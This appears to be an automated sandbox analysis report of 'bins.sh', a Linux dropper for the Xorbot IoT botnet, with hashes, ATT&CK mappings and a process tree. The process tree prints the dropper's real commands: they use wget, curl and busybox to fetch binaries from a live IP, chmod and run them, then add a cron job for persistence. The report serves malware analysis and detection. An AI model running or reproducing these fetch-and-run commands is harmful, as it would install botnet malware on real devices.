xorbot | 47bec10be1924a07463c14e3ec14c0d176a1647a2f8090a774b6b9d0317f5b25

Analysis

max time kernel
149s
max time network
161s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
01-12-2024 18:21

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General

Target

bins.sh
Size

10KB
MD5

28b44d48978ad6ce4f2eed068e2680b4
SHA1

36f517d3e46e9e683a46490065c5f2169c47ca6b
SHA256

47bec10be1924a07463c14e3ec14c0d176a1647a2f8090a774b6b9d0317f5b25
SHA512

dee2972f09ac8e1ff184ef0fccb7b4107d55f0324a6907f6af177226a95d48365b48950c06c946c9e6e76f9aa4b9bcbb9fcf185ed4f6844f6b7bfeb341c009a3
SSDEEP

96:h7r7r7p7m7iYx4RrBNFjJUDqRT21WFi6JU1hOY97r7r7p7m7iux4VO:1XXdMfx4RrBNFVYXXdMNWO

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot
behavioral2/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmod

pid	Process
680	chmod
693	chmod

Executes dropped EXE 2 IoCs

Processes:

v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAryfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim

ioc	pid	Process
/tmp/v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr	681	v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
/tmp/yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim	694	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim

Renames itself 1 IoCs

Processes:

yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim

pid	Process
695	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.tqGBpG	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

Processes:

curlcurl

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrimcurlcurl

description	ioc	Process
File opened for reading	/proc/136/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/775/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/4/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/794/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/27/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/162/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/649/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/702/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/798/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/14/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/730/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/738/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/748/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/760/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/763/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/5/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/17/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/41/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/707/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/743/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/784/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/801/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/11/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/146/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/267/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/280/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/312/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/394/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/645/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/767/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/16/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/803/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/410/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/776/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/791/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/42/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/705/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/741/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/756/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/792/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/28/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/95/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/271/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/655/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/734/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/799/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/15/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/8/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/21/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/639/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/757/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/1/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/729/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/766/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/786/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/107/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/713/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/758/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/139/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/716/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/752/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
File opened for reading	/proc/168/cmdline	yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusyboxwgetcurlbusybox

description	ioc	Process
File opened for modification	/tmp/yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim	wget
File opened for modification	/tmp/yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim	curl
File opened for modification	/tmp/yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim	busybox
File opened for modification	/tmp/v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr	wget
File opened for modification	/tmp/v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr	curl
File opened for modification	/tmp/v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:646
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:648
- /usr/bin/wget
  wget http://216.126.231.240/bins/v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
  2⤵
  - Writes file to tmp directory
  PID:653
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:669
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
  2⤵
  - Writes file to tmp directory
  PID:677
- /bin/chmod
  chmod 777 v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
  2⤵
  - File and Directory Permissions Modification
  PID:680
- /tmp/v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
  ./v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
  2⤵
  - Executes dropped EXE
  PID:681
- /bin/rm
  rm v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
  2⤵
  PID:683
- /usr/bin/wget
  wget http://216.126.231.240/bins/yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
  2⤵
  - Writes file to tmp directory
  PID:684
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:685
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
  2⤵
  - Writes file to tmp directory
  PID:689
- /bin/chmod
  chmod 777 yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
  2⤵
  - File and Directory Permissions Modification
  PID:693
- /tmp/yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
  ./yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:694
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:696
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:697
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:699
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:701
- /bin/rm
  rm yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
  2⤵
  PID:706
- /usr/bin/wget
  wget http://216.126.231.240/bins/rP8DIlOj73mYUtzZOEeGOHzUJ27UYAwQ6q
  2⤵
  PID:707

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/var/spool/cron/crontabs/tmp.tqGBpG

Filesize
210B

MD5
af9123c4a6d5620d2d04220104cfef01

SHA1
3b954b2bc3163efe415b40f76fa9e4d2b0f3fc83

SHA256
a7259a9f7ff3380141577c19403037edf01345c423e6920684eec4c7e10739bc

SHA512
695a1b911e8768b1c8d0e01c4903db658f4bb6d5818fbac8ae12dace3a080c7f8b8b4fa05eaccb4a9e6543737ca517d1a179eb29210de23cc11f70d7aac8eb57

Download Submit